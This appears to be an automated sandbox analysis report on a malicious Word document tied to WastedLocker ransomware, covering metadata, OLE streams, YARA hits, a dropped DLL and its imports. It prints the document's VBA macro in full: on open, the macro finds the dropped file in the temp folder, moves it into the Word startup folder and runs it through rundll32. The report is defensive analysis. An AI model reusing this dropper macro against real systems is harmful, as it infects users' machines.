Malicious
Classifications
Ransomware Injector Downloader
Threat Names
WastedLocker Mal/HTMLGen-A Gen:Variant.Jacard.222844 Trojan.GenericKD.45628116 +2
Dynamic Analysis Report
Created on 2021-05-25T02:42:00
0524_4109399728218.doc
Word Document
Remarks (1/1)
(0x0200000E): The overall sleep time of all monitored processes was truncated from "16 minutes" to "2 minutes, 40 seconds" to reveal dormant functionality.
This is a filtered view
This list contains only the embedded files, downloaded files, and dropped files
Filters: |
There are no files for this filter
There are no files in this analysis
File Name | Category | Type | Verdict | Actions |
---|
C:\Users\kEecfMwgj\Desktop\0524_4109399728218.doc | Sample File | Word Document |
malicious
|
...
|
»
AV Matches (2)
»
Threat Name | Verdict |
---|---|
Gen:Variant.Jacard.222844 |
malicious
|
Gen:Variant.Jacard.222844 |
malicious
|
Office Information
»
Creator | MyPc |
Last Modified By | MyPc |
Revision | 2 |
Create Time | 2021-05-24 12:32:00+00:00 |
Modify Time | 2021-05-24 12:32:00+00:00 |
Codepage | ANSI_Latin1 |
Application | Microsoft Office Word |
App Version | 16.0 |
Template | Normal.dotm |
Document Security | NONE |
Page Count | 1 |
Line Count | 1 |
Paragraph Count | 1 |
Word Count | 3 |
Character Count | 21 |
Chars With Spaces | 23 |
scale_crop | False |
shared_doc | False |
Controls (2)
»
CLSID | Control Name | Associated Vulnerability |
---|---|---|
{00020906-0000-0000-C000-000000000046} | Word97 | - |
{0003000C-0000-0000-C000-000000000046} | Package | EmbeddedFile |
VBA Macros (1)
»
Macro #1: ThisDocument
»
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Compare Text
Option Explicit
Dim pafs As String
Private Sub Document_Open()
Dim uis As String
uis = Options.DefaultFilePath(wdStartupPath)
If Dir(uis & "\ket.t") = "" Then
Call yyy
Call xxx
If pafs = "" Then
Else
Dim iel As String
Dim ued As String
ued = ".exe"
iel = Options.DefaultFilePath(wdStartupPath)
Name pafs As iel & "\ket.t"
Shell ("rundll32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,EUAYKIYBPAX")
End If
End If
End Sub
Sub xxx()
Dim FSO As Object
Set FSO = CreateObject("Scripting.FileSystemObject")
Search FSO.GetFolder(Options.DefaultFilePath(wdTempFilePath))
End Sub
Sub yyy()
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
End Sub
Sub Search(mds As Object)
Dim Mysob As Object
Dim Fil As Object
For Each Mysob In mds.SubFolders
Search Mysob
Next Mysob
For Each Fil In mds.Files
If Fil.Name = "jax.k" Then
pafs = Fil
End If
Next Fil
Exit Sub
ErrHandle:
Err.Clear
End Sub
Document Content
»
EMBED Package |
CFB Streams (19)
»
Name | ID | Size | Actions |
---|---|---|---|
Root\Data | 1 | 552.93 KB |
...
|
Root\WordDocument | 2 | 4.00 KB |
...
|
Root\ObjectPool\_1683339676\EPRINT | 5 | 4.85 KB |
...
|
Root\ObjectPool\_1683339676\CompObj | 6 | 76 Bytes |
...
|
Root\ObjectPool\_1683339676\ObjInfo | 7 | 6 Bytes |
...
|
Root\ObjectPool\_1683339676\Ole10Native | 8 | 704.28 KB |
...
|
Root\Table | 9 | 8.30 KB |
...
|
Root\SummaryInformation | 10 | 412 Bytes |
...
|
Root\DocumentSummaryInformation | 11 | 280 Bytes |
...
|
Root\Macros\VBA\dir | 14 | 514 Bytes |
...
|
Root\Macros\VBA\__SRP_0 | 15 | 2.15 KB |
...
|
Root\Macros\VBA\__SRP_1 | 16 | 193 Bytes |
...
|
Root\Macros\VBA\__SRP_2 | 17 | 1.67 KB |
...
|
Root\Macros\VBA\__SRP_3 | 18 | 322 Bytes |
...
|
Root\Macros\VBA\ThisDocument | 19 | 4.53 KB |
...
|
Root\Macros\VBA\_VBA_PROJECT | 20 | 2.68 KB |
...
|
Root\Macros\PROJECT | 21 | 373 Bytes |
...
|
Root\Macros\PROJECTwm | 22 | 41 Bytes |
...
|
Root\CompObj | 23 | 114 Bytes |
...
|
YARA Matches (2)
»
Rule Name | Rule Description | Classification | Score | Actions |
---|---|---|---|---|
Document_Contains_Embedded_PE_File | PE file inside a document; possible malware dropper | - |
3/5
|
...
|
Document_Contains_Embedded_PE_File | PE file inside a document; possible malware dropper | - |
3/5
|
...
|
c:\users\keecfmwgj\appdata\local\temp\jax.k | Dropped File | Binary |
malicious
|
...
|
»
AV Matches (1)
»
Threat Name | Verdict |
---|---|
Gen:Variant.Jacard.222844 |
malicious
|
PE Information
»
Image Base | 0x400000 |
Entry Point | 0x492348 |
Size Of Code | 0x91400 |
Size Of Initialized Data | 0x1e800 |
File Type | FileType.dll |
Subsystem | Subsystem.windows_gui |
Machine Type | MachineType.i386 |
Compile Timestamp | 1992-06-19 22:22:17+00:00 |
Sections (6)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
CODE | 0x401000 | 0x91368 | 0x91400 | 0x400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.52 |
DATA | 0x493000 | 0x17a4 | 0x1800 | 0x91800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.33 |
BSS | 0x495000 | 0xd25 | 0x0 | 0x93000 | IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.0 |
.idata | 0x496000 | 0x244a | 0x2600 | 0x93000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.79 |
.reloc | 0x499000 | 0xa918 | 0xaa00 | 0x95600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ | 6.62 |
.rsrc | 0x4a4000 | 0x10000 | 0x10000 | 0xa0000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ | 6.15 |
Imports (16)
»
kernel32.dll (34)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
DeleteCriticalSection | - | 0x496154 | 0x96154 | 0x93154 | 0x0 |
LeaveCriticalSection | - | 0x496158 | 0x96158 | 0x93158 | 0x0 |
EnterCriticalSection | - | 0x49615c | 0x9615c | 0x9315c | 0x0 |
InitializeCriticalSection | - | 0x496160 | 0x96160 | 0x93160 | 0x0 |
VirtualFree | - | 0x496164 | 0x96164 | 0x93164 | 0x0 |
VirtualAlloc | - | 0x496168 | 0x96168 | 0x93168 | 0x0 |
LocalFree | - | 0x49616c | 0x9616c | 0x9316c | 0x0 |
LocalAlloc | - | 0x496170 | 0x96170 | 0x93170 | 0x0 |
GetVersion | - | 0x496174 | 0x96174 | 0x93174 | 0x0 |
GetCurrentThreadId | - | 0x496178 | 0x96178 | 0x93178 | 0x0 |
InterlockedDecrement | - | 0x49617c | 0x9617c | 0x9317c | 0x0 |
InterlockedIncrement | - | 0x496180 | 0x96180 | 0x93180 | 0x0 |
VirtualQuery | - | 0x496184 | 0x96184 | 0x93184 | 0x0 |
WideCharToMultiByte | - | 0x496188 | 0x96188 | 0x93188 | 0x0 |
MultiByteToWideChar | - | 0x49618c | 0x9618c | 0x9318c | 0x0 |
lstrlenA | - | 0x496190 | 0x96190 | 0x93190 | 0x0 |
lstrcpynA | - | 0x496194 | 0x96194 | 0x93194 | 0x0 |
LoadLibraryExA | - | 0x496198 | 0x96198 | 0x93198 | 0x0 |
GetThreadLocale | - | 0x49619c | 0x9619c | 0x9319c | 0x0 |
GetStartupInfoA | - | 0x4961a0 | 0x961a0 | 0x931a0 | 0x0 |
GetProcAddress | - | 0x4961a4 | 0x961a4 | 0x931a4 | 0x0 |
GetModuleHandleA | - | 0x4961a8 | 0x961a8 | 0x931a8 | 0x0 |
GetModuleFileNameA | - | 0x4961ac | 0x961ac | 0x931ac | 0x0 |
GetLocaleInfoA | - | 0x4961b0 | 0x961b0 | 0x931b0 | 0x0 |
GetCommandLineA | - | 0x4961b4 | 0x961b4 | 0x931b4 | 0x0 |
FreeLibrary | - | 0x4961b8 | 0x961b8 | 0x931b8 | 0x0 |
FindFirstFileA | - | 0x4961bc | 0x961bc | 0x931bc | 0x0 |
FindClose | - | 0x4961c0 | 0x961c0 | 0x931c0 | 0x0 |
ExitProcess | - | 0x4961c4 | 0x961c4 | 0x931c4 | 0x0 |
WriteFile | - | 0x4961c8 | 0x961c8 | 0x931c8 | 0x0 |
UnhandledExceptionFilter | - | 0x4961cc | 0x961cc | 0x931cc | 0x0 |
RtlUnwind | - | 0x4961d0 | 0x961d0 | 0x931d0 | 0x0 |
RaiseException | - | 0x4961d4 | 0x961d4 | 0x931d4 | 0x0 |
GetStdHandle | - | 0x4961d8 | 0x961d8 | 0x931d8 | 0x0 |
user32.dll (4)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetKeyboardType | - | 0x4961e0 | 0x961e0 | 0x931e0 | 0x0 |
LoadStringA | - | 0x4961e4 | 0x961e4 | 0x931e4 | 0x0 |
MessageBoxA | - | 0x4961e8 | 0x961e8 | 0x931e8 | 0x0 |
CharNextA | - | 0x4961ec | 0x961ec | 0x931ec | 0x0 |
advapi32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
RegQueryValueExA | - | 0x4961f4 | 0x961f4 | 0x931f4 | 0x0 |
RegOpenKeyExA | - | 0x4961f8 | 0x961f8 | 0x931f8 | 0x0 |
RegCloseKey | - | 0x4961fc | 0x961fc | 0x931fc | 0x0 |
oleaut32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SysFreeString | - | 0x496204 | 0x96204 | 0x93204 | 0x0 |
SysReAllocStringLen | - | 0x496208 | 0x96208 | 0x93208 | 0x0 |
SysAllocStringLen | - | 0x49620c | 0x9620c | 0x9320c | 0x0 |
kernel32.dll (6)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
TlsSetValue | - | 0x496214 | 0x96214 | 0x93214 | 0x0 |
TlsGetValue | - | 0x496218 | 0x96218 | 0x93218 | 0x0 |
TlsFree | - | 0x49621c | 0x9621c | 0x9321c | 0x0 |
TlsAlloc | - | 0x496220 | 0x96220 | 0x93220 | 0x0 |
LocalFree | - | 0x496224 | 0x96224 | 0x93224 | 0x0 |
LocalAlloc | - | 0x496228 | 0x96228 | 0x93228 | 0x0 |
advapi32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
RegQueryValueExA | - | 0x496230 | 0x96230 | 0x93230 | 0x0 |
RegOpenKeyExA | - | 0x496234 | 0x96234 | 0x93234 | 0x0 |
RegCloseKey | - | 0x496238 | 0x96238 | 0x93238 | 0x0 |
kernel32.dll (69)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
lstrcpyA | - | 0x496240 | 0x96240 | 0x93240 | 0x0 |
lstrcmpA | - | 0x496244 | 0x96244 | 0x93244 | 0x0 |
WriteFile | - | 0x496248 | 0x96248 | 0x93248 | 0x0 |
WaitForSingleObject | - | 0x49624c | 0x9624c | 0x9324c | 0x0 |
VirtualQuery | - | 0x496250 | 0x96250 | 0x93250 | 0x0 |
VirtualAlloc | - | 0x496254 | 0x96254 | 0x93254 | 0x0 |
Sleep | - | 0x496258 | 0x96258 | 0x93258 | 0x0 |
SizeofResource | - | 0x49625c | 0x9625c | 0x9325c | 0x0 |
SetThreadLocale | - | 0x496260 | 0x96260 | 0x93260 | 0x0 |
SetFilePointer | - | 0x496264 | 0x96264 | 0x93264 | 0x0 |
SetEvent | - | 0x496268 | 0x96268 | 0x93268 | 0x0 |
SetErrorMode | - | 0x49626c | 0x9626c | 0x9326c | 0x0 |
SetEndOfFile | - | 0x496270 | 0x96270 | 0x93270 | 0x0 |
ResetEvent | - | 0x496274 | 0x96274 | 0x93274 | 0x0 |
ReadFile | - | 0x496278 | 0x96278 | 0x93278 | 0x0 |
MultiByteToWideChar | - | 0x49627c | 0x9627c | 0x9327c | 0x0 |
MulDiv | - | 0x496280 | 0x96280 | 0x93280 | 0x0 |
LockResource | - | 0x496284 | 0x96284 | 0x93284 | 0x0 |
LoadResource | - | 0x496288 | 0x96288 | 0x93288 | 0x0 |
LoadLibraryA | - | 0x49628c | 0x9628c | 0x9328c | 0x0 |
LeaveCriticalSection | - | 0x496290 | 0x96290 | 0x93290 | 0x0 |
InitializeCriticalSection | - | 0x496294 | 0x96294 | 0x93294 | 0x0 |
GlobalUnlock | - | 0x496298 | 0x96298 | 0x93298 | 0x0 |
GlobalReAlloc | - | 0x49629c | 0x9629c | 0x9329c | 0x0 |
GlobalHandle | - | 0x4962a0 | 0x962a0 | 0x932a0 | 0x0 |
GlobalLock | - | 0x4962a4 | 0x962a4 | 0x932a4 | 0x0 |
GlobalFree | - | 0x4962a8 | 0x962a8 | 0x932a8 | 0x0 |
GlobalFindAtomA | - | 0x4962ac | 0x962ac | 0x932ac | 0x0 |
GlobalDeleteAtom | - | 0x4962b0 | 0x962b0 | 0x932b0 | 0x0 |
GlobalAlloc | - | 0x4962b4 | 0x962b4 | 0x932b4 | 0x0 |
GlobalAddAtomA | - | 0x4962b8 | 0x962b8 | 0x932b8 | 0x0 |
GetVersionExA | - | 0x4962bc | 0x962bc | 0x932bc | 0x0 |
GetVersion | - | 0x4962c0 | 0x962c0 | 0x932c0 | 0x0 |
GetTickCount | - | 0x4962c4 | 0x962c4 | 0x932c4 | 0x0 |
GetThreadLocale | - | 0x4962c8 | 0x962c8 | 0x932c8 | 0x0 |
GetSystemInfo | - | 0x4962cc | 0x962cc | 0x932cc | 0x0 |
GetStringTypeExA | - | 0x4962d0 | 0x962d0 | 0x932d0 | 0x0 |
GetStdHandle | - | 0x4962d4 | 0x962d4 | 0x932d4 | 0x0 |
GetProcAddress | - | 0x4962d8 | 0x962d8 | 0x932d8 | 0x0 |
GetModuleHandleA | - | 0x4962dc | 0x962dc | 0x932dc | 0x0 |
GetModuleFileNameA | - | 0x4962e0 | 0x962e0 | 0x932e0 | 0x0 |
GetLocaleInfoA | - | 0x4962e4 | 0x962e4 | 0x932e4 | 0x0 |
GetLocalTime | - | 0x4962e8 | 0x962e8 | 0x932e8 | 0x0 |
GetLastError | - | 0x4962ec | 0x962ec | 0x932ec | 0x0 |
GetFullPathNameA | - | 0x4962f0 | 0x962f0 | 0x932f0 | 0x0 |
GetDiskFreeSpaceA | - | 0x4962f4 | 0x962f4 | 0x932f4 | 0x0 |
GetDateFormatA | - | 0x4962f8 | 0x962f8 | 0x932f8 | 0x0 |
GetCurrentThreadId | - | 0x4962fc | 0x962fc | 0x932fc | 0x0 |
GetCurrentProcessId | - | 0x496300 | 0x96300 | 0x93300 | 0x0 |
GetCPInfo | - | 0x496304 | 0x96304 | 0x93304 | 0x0 |
GetACP | - | 0x496308 | 0x96308 | 0x93308 | 0x0 |
FreeResource | - | 0x49630c | 0x9630c | 0x9330c | 0x0 |
InterlockedExchange | - | 0x496310 | 0x96310 | 0x93310 | 0x0 |
FreeLibrary | - | 0x496314 | 0x96314 | 0x93314 | 0x0 |
FormatMessageA | - | 0x496318 | 0x96318 | 0x93318 | 0x0 |
FindResourceA | - | 0x49631c | 0x9631c | 0x9331c | 0x0 |
FindFirstFileA | - | 0x496320 | 0x96320 | 0x93320 | 0x0 |
FindClose | - | 0x496324 | 0x96324 | 0x93324 | 0x0 |
FileTimeToLocalFileTime | - | 0x496328 | 0x96328 | 0x93328 | 0x0 |
FileTimeToDosDateTime | - | 0x49632c | 0x9632c | 0x9332c | 0x0 |
EnumCalendarInfoA | - | 0x496330 | 0x96330 | 0x93330 | 0x0 |
EnterCriticalSection | - | 0x496334 | 0x96334 | 0x93334 | 0x0 |
DeleteFileA | - | 0x496338 | 0x96338 | 0x93338 | 0x0 |
DeleteCriticalSection | - | 0x49633c | 0x9633c | 0x9333c | 0x0 |
CreateThread | - | 0x496340 | 0x96340 | 0x93340 | 0x0 |
CreateFileA | - | 0x496344 | 0x96344 | 0x93344 | 0x0 |
CreateEventA | - | 0x496348 | 0x96348 | 0x93348 | 0x0 |
CompareStringA | - | 0x49634c | 0x9634c | 0x9334c | 0x0 |
CloseHandle | - | 0x496350 | 0x96350 | 0x93350 | 0x0 |
version.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
VerQueryValueA | - | 0x496358 | 0x96358 | 0x93358 | 0x0 |
GetFileVersionInfoSizeA | - | 0x49635c | 0x9635c | 0x9335c | 0x0 |
GetFileVersionInfoA | - | 0x496360 | 0x96360 | 0x93360 | 0x0 |
gdi32.dll (70)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
UnrealizeObject | - | 0x496368 | 0x96368 | 0x93368 | 0x0 |
StretchBlt | - | 0x49636c | 0x9636c | 0x9336c | 0x0 |
SetWindowOrgEx | - | 0x496370 | 0x96370 | 0x93370 | 0x0 |
SetWinMetaFileBits | - | 0x496374 | 0x96374 | 0x93374 | 0x0 |
SetViewportOrgEx | - | 0x496378 | 0x96378 | 0x93378 | 0x0 |
SetTextColor | - | 0x49637c | 0x9637c | 0x9337c | 0x0 |
SetStretchBltMode | - | 0x496380 | 0x96380 | 0x93380 | 0x0 |
SetROP2 | - | 0x496384 | 0x96384 | 0x93384 | 0x0 |
SetPixel | - | 0x496388 | 0x96388 | 0x93388 | 0x0 |
SetEnhMetaFileBits | - | 0x49638c | 0x9638c | 0x9338c | 0x0 |
SetDIBColorTable | - | 0x496390 | 0x96390 | 0x93390 | 0x0 |
SetBrushOrgEx | - | 0x496394 | 0x96394 | 0x93394 | 0x0 |
SetBkMode | - | 0x496398 | 0x96398 | 0x93398 | 0x0 |
SetBkColor | - | 0x49639c | 0x9639c | 0x9339c | 0x0 |
SelectPalette | - | 0x4963a0 | 0x963a0 | 0x933a0 | 0x0 |
SelectObject | - | 0x4963a4 | 0x963a4 | 0x933a4 | 0x0 |
SaveDC | - | 0x4963a8 | 0x963a8 | 0x933a8 | 0x0 |
RestoreDC | - | 0x4963ac | 0x963ac | 0x933ac | 0x0 |
Rectangle | - | 0x4963b0 | 0x963b0 | 0x933b0 | 0x0 |
RectVisible | - | 0x4963b4 | 0x963b4 | 0x933b4 | 0x0 |
RealizePalette | - | 0x4963b8 | 0x963b8 | 0x933b8 | 0x0 |
Polyline | - | 0x4963bc | 0x963bc | 0x933bc | 0x0 |
Polygon | - | 0x4963c0 | 0x963c0 | 0x933c0 | 0x0 |
PlayEnhMetaFile | - | 0x4963c4 | 0x963c4 | 0x933c4 | 0x0 |
PatBlt | - | 0x4963c8 | 0x963c8 | 0x933c8 | 0x0 |
MoveToEx | - | 0x4963cc | 0x963cc | 0x933cc | 0x0 |
MaskBlt | - | 0x4963d0 | 0x963d0 | 0x933d0 | 0x0 |
LineTo | - | 0x4963d4 | 0x963d4 | 0x933d4 | 0x0 |
IntersectClipRect | - | 0x4963d8 | 0x963d8 | 0x933d8 | 0x0 |
GetWindowOrgEx | - | 0x4963dc | 0x963dc | 0x933dc | 0x0 |
GetWinMetaFileBits | - | 0x4963e0 | 0x963e0 | 0x933e0 | 0x0 |
GetTextMetricsA | - | 0x4963e4 | 0x963e4 | 0x933e4 | 0x0 |
GetTextExtentPointA | - | 0x4963e8 | 0x963e8 | 0x933e8 | 0x0 |
GetTextExtentPoint32A | - | 0x4963ec | 0x963ec | 0x933ec | 0x0 |
GetSystemPaletteEntries | - | 0x4963f0 | 0x963f0 | 0x933f0 | 0x0 |
GetStockObject | - | 0x4963f4 | 0x963f4 | 0x933f4 | 0x0 |
GetPixel | - | 0x4963f8 | 0x963f8 | 0x933f8 | 0x0 |
GetPaletteEntries | - | 0x4963fc | 0x963fc | 0x933fc | 0x0 |
GetObjectA | - | 0x496400 | 0x96400 | 0x93400 | 0x0 |
GetEnhMetaFilePaletteEntries | - | 0x496404 | 0x96404 | 0x93404 | 0x0 |
GetEnhMetaFileHeader | - | 0x496408 | 0x96408 | 0x93408 | 0x0 |
GetEnhMetaFileBits | - | 0x49640c | 0x9640c | 0x9340c | 0x0 |
GetEnhMetaFileW | - | 0x496410 | 0x96410 | 0x93410 | 0x0 |
GetDeviceCaps | - | 0x496414 | 0x96414 | 0x93414 | 0x0 |
GetDIBits | - | 0x496418 | 0x96418 | 0x93418 | 0x0 |
GetDIBColorTable | - | 0x49641c | 0x9641c | 0x9341c | 0x0 |
GetDCOrgEx | - | 0x496420 | 0x96420 | 0x93420 | 0x0 |
GetCurrentPositionEx | - | 0x496424 | 0x96424 | 0x93424 | 0x0 |
GetClipBox | - | 0x496428 | 0x96428 | 0x93428 | 0x0 |
GetBrushOrgEx | - | 0x49642c | 0x9642c | 0x9342c | 0x0 |
GetBitmapBits | - | 0x496430 | 0x96430 | 0x93430 | 0x0 |
GdiFlush | - | 0x496434 | 0x96434 | 0x93434 | 0x0 |
ExcludeClipRect | - | 0x496438 | 0x96438 | 0x93438 | 0x0 |
DeleteObject | - | 0x49643c | 0x9643c | 0x9343c | 0x0 |
DeleteEnhMetaFile | - | 0x496440 | 0x96440 | 0x93440 | 0x0 |
DeleteDC | - | 0x496444 | 0x96444 | 0x93444 | 0x0 |
CreateSolidBrush | - | 0x496448 | 0x96448 | 0x93448 | 0x0 |
CreatePenIndirect | - | 0x49644c | 0x9644c | 0x9344c | 0x0 |
CreatePalette | - | 0x496450 | 0x96450 | 0x93450 | 0x0 |
CreateHalftonePalette | - | 0x496454 | 0x96454 | 0x93454 | 0x0 |
CreateFontIndirectA | - | 0x496458 | 0x96458 | 0x93458 | 0x0 |
CreateDIBitmap | - | 0x49645c | 0x9645c | 0x9345c | 0x0 |
CreateDIBSection | - | 0x496460 | 0x96460 | 0x93460 | 0x0 |
CreateCompatibleDC | - | 0x496464 | 0x96464 | 0x93464 | 0x0 |
CreateCompatibleBitmap | - | 0x496468 | 0x96468 | 0x93468 | 0x0 |
CreateBrushIndirect | - | 0x49646c | 0x9646c | 0x9346c | 0x0 |
CreateBitmap | - | 0x496470 | 0x96470 | 0x93470 | 0x0 |
CopyEnhMetaFileA | - | 0x496474 | 0x96474 | 0x93474 | 0x0 |
BitBlt | - | 0x496478 | 0x96478 | 0x93478 | 0x0 |
AddFontResourceA | - | 0x49647c | 0x9647c | 0x9347c | 0x0 |
user32.dll (168)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CreateWindowExA | - | 0x496484 | 0x96484 | 0x93484 | 0x0 |
WindowFromPoint | - | 0x496488 | 0x96488 | 0x93488 | 0x0 |
WinHelpA | - | 0x49648c | 0x9648c | 0x9348c | 0x0 |
WaitMessage | - | 0x496490 | 0x96490 | 0x93490 | 0x0 |
UpdateWindow | - | 0x496494 | 0x96494 | 0x93494 | 0x0 |
UnregisterClassA | - | 0x496498 | 0x96498 | 0x93498 | 0x0 |
UnhookWindowsHookEx | - | 0x49649c | 0x9649c | 0x9349c | 0x0 |
TranslateMessage | - | 0x4964a0 | 0x964a0 | 0x934a0 | 0x0 |
TranslateMDISysAccel | - | 0x4964a4 | 0x964a4 | 0x934a4 | 0x0 |
TrackPopupMenu | - | 0x4964a8 | 0x964a8 | 0x934a8 | 0x0 |
SystemParametersInfoA | - | 0x4964ac | 0x964ac | 0x934ac | 0x0 |
ShowWindow | - | 0x4964b0 | 0x964b0 | 0x934b0 | 0x0 |
ShowScrollBar | - | 0x4964b4 | 0x964b4 | 0x934b4 | 0x0 |
ShowOwnedPopups | - | 0x4964b8 | 0x964b8 | 0x934b8 | 0x0 |
ShowCursor | - | 0x4964bc | 0x964bc | 0x934bc | 0x0 |
ShowCaret | - | 0x4964c0 | 0x964c0 | 0x934c0 | 0x0 |
SetWindowsHookExA | - | 0x4964c4 | 0x964c4 | 0x934c4 | 0x0 |
SetWindowTextA | - | 0x4964c8 | 0x964c8 | 0x934c8 | 0x0 |
SetWindowPos | - | 0x4964cc | 0x964cc | 0x934cc | 0x0 |
SetWindowPlacement | - | 0x4964d0 | 0x964d0 | 0x934d0 | 0x0 |
SetWindowLongA | - | 0x4964d4 | 0x964d4 | 0x934d4 | 0x0 |
SetTimer | - | 0x4964d8 | 0x964d8 | 0x934d8 | 0x0 |
SetScrollRange | - | 0x4964dc | 0x964dc | 0x934dc | 0x0 |
SetScrollPos | - | 0x4964e0 | 0x964e0 | 0x934e0 | 0x0 |
SetScrollInfo | - | 0x4964e4 | 0x964e4 | 0x934e4 | 0x0 |
SetRect | - | 0x4964e8 | 0x964e8 | 0x934e8 | 0x0 |
SetPropA | - | 0x4964ec | 0x964ec | 0x934ec | 0x0 |
SetParent | - | 0x4964f0 | 0x964f0 | 0x934f0 | 0x0 |
SetMenuItemInfoA | - | 0x4964f4 | 0x964f4 | 0x934f4 | 0x0 |
SetMenu | - | 0x4964f8 | 0x964f8 | 0x934f8 | 0x0 |
SetForegroundWindow | - | 0x4964fc | 0x964fc | 0x934fc | 0x0 |
SetFocus | - | 0x496500 | 0x96500 | 0x93500 | 0x0 |
SetCursor | - | 0x496504 | 0x96504 | 0x93504 | 0x0 |
SetClipboardData | - | 0x496508 | 0x96508 | 0x93508 | 0x0 |
SetClassLongA | - | 0x49650c | 0x9650c | 0x9350c | 0x0 |
SetCapture | - | 0x496510 | 0x96510 | 0x93510 | 0x0 |
SetActiveWindow | - | 0x496514 | 0x96514 | 0x93514 | 0x0 |
SendMessageA | - | 0x496518 | 0x96518 | 0x93518 | 0x0 |
ScrollWindow | - | 0x49651c | 0x9651c | 0x9351c | 0x0 |
ScreenToClient | - | 0x496520 | 0x96520 | 0x93520 | 0x0 |
RemovePropA | - | 0x496524 | 0x96524 | 0x93524 | 0x0 |
RemoveMenu | - | 0x496528 | 0x96528 | 0x93528 | 0x0 |
ReleaseDC | - | 0x49652c | 0x9652c | 0x9352c | 0x0 |
ReleaseCapture | - | 0x496530 | 0x96530 | 0x93530 | 0x0 |
RegisterWindowMessageA | - | 0x496534 | 0x96534 | 0x93534 | 0x0 |
RegisterClipboardFormatA | - | 0x496538 | 0x96538 | 0x93538 | 0x0 |
RegisterClassA | - | 0x49653c | 0x9653c | 0x9353c | 0x0 |
RedrawWindow | - | 0x496540 | 0x96540 | 0x93540 | 0x0 |
PtInRect | - | 0x496544 | 0x96544 | 0x93544 | 0x0 |
PostQuitMessage | - | 0x496548 | 0x96548 | 0x93548 | 0x0 |
PostMessageA | - | 0x49654c | 0x9654c | 0x9354c | 0x0 |
PeekMessageA | - | 0x496550 | 0x96550 | 0x93550 | 0x0 |
OpenClipboard | - | 0x496554 | 0x96554 | 0x93554 | 0x0 |
OffsetRect | - | 0x496558 | 0x96558 | 0x93558 | 0x0 |
OemToCharA | - | 0x49655c | 0x9655c | 0x9355c | 0x0 |
MessageBoxA | - | 0x496560 | 0x96560 | 0x93560 | 0x0 |
MessageBeep | - | 0x496564 | 0x96564 | 0x93564 | 0x0 |
MapWindowPoints | - | 0x496568 | 0x96568 | 0x93568 | 0x0 |
MapVirtualKeyA | - | 0x49656c | 0x9656c | 0x9356c | 0x0 |
LoadStringA | - | 0x496570 | 0x96570 | 0x93570 | 0x0 |
LoadKeyboardLayoutA | - | 0x496574 | 0x96574 | 0x93574 | 0x0 |
LoadIconA | - | 0x496578 | 0x96578 | 0x93578 | 0x0 |
LoadCursorW | - | 0x49657c | 0x9657c | 0x9357c | 0x0 |
LoadCursorA | - | 0x496580 | 0x96580 | 0x93580 | 0x0 |
LoadBitmapA | - | 0x496584 | 0x96584 | 0x93584 | 0x0 |
KillTimer | - | 0x496588 | 0x96588 | 0x93588 | 0x0 |
IsZoomed | - | 0x49658c | 0x9658c | 0x9358c | 0x0 |
IsWindowVisible | - | 0x496590 | 0x96590 | 0x93590 | 0x0 |
IsWindowEnabled | - | 0x496594 | 0x96594 | 0x93594 | 0x0 |
IsWindow | - | 0x496598 | 0x96598 | 0x93598 | 0x0 |
IsRectEmpty | - | 0x49659c | 0x9659c | 0x9359c | 0x0 |
IsIconic | - | 0x4965a0 | 0x965a0 | 0x935a0 | 0x0 |
IsDialogMessageA | - | 0x4965a4 | 0x965a4 | 0x935a4 | 0x0 |
IsChild | - | 0x4965a8 | 0x965a8 | 0x935a8 | 0x0 |
InvalidateRect | - | 0x4965ac | 0x965ac | 0x935ac | 0x0 |
IntersectRect | - | 0x4965b0 | 0x965b0 | 0x935b0 | 0x0 |
InsertMenuItemA | - | 0x4965b4 | 0x965b4 | 0x935b4 | 0x0 |
InsertMenuA | - | 0x4965b8 | 0x965b8 | 0x935b8 | 0x0 |
InflateRect | - | 0x4965bc | 0x965bc | 0x935bc | 0x0 |
HideCaret | - | 0x4965c0 | 0x965c0 | 0x935c0 | 0x0 |
GetWindowThreadProcessId | - | 0x4965c4 | 0x965c4 | 0x935c4 | 0x0 |
GetWindowTextA | - | 0x4965c8 | 0x965c8 | 0x935c8 | 0x0 |
GetWindowRect | - | 0x4965cc | 0x965cc | 0x935cc | 0x0 |
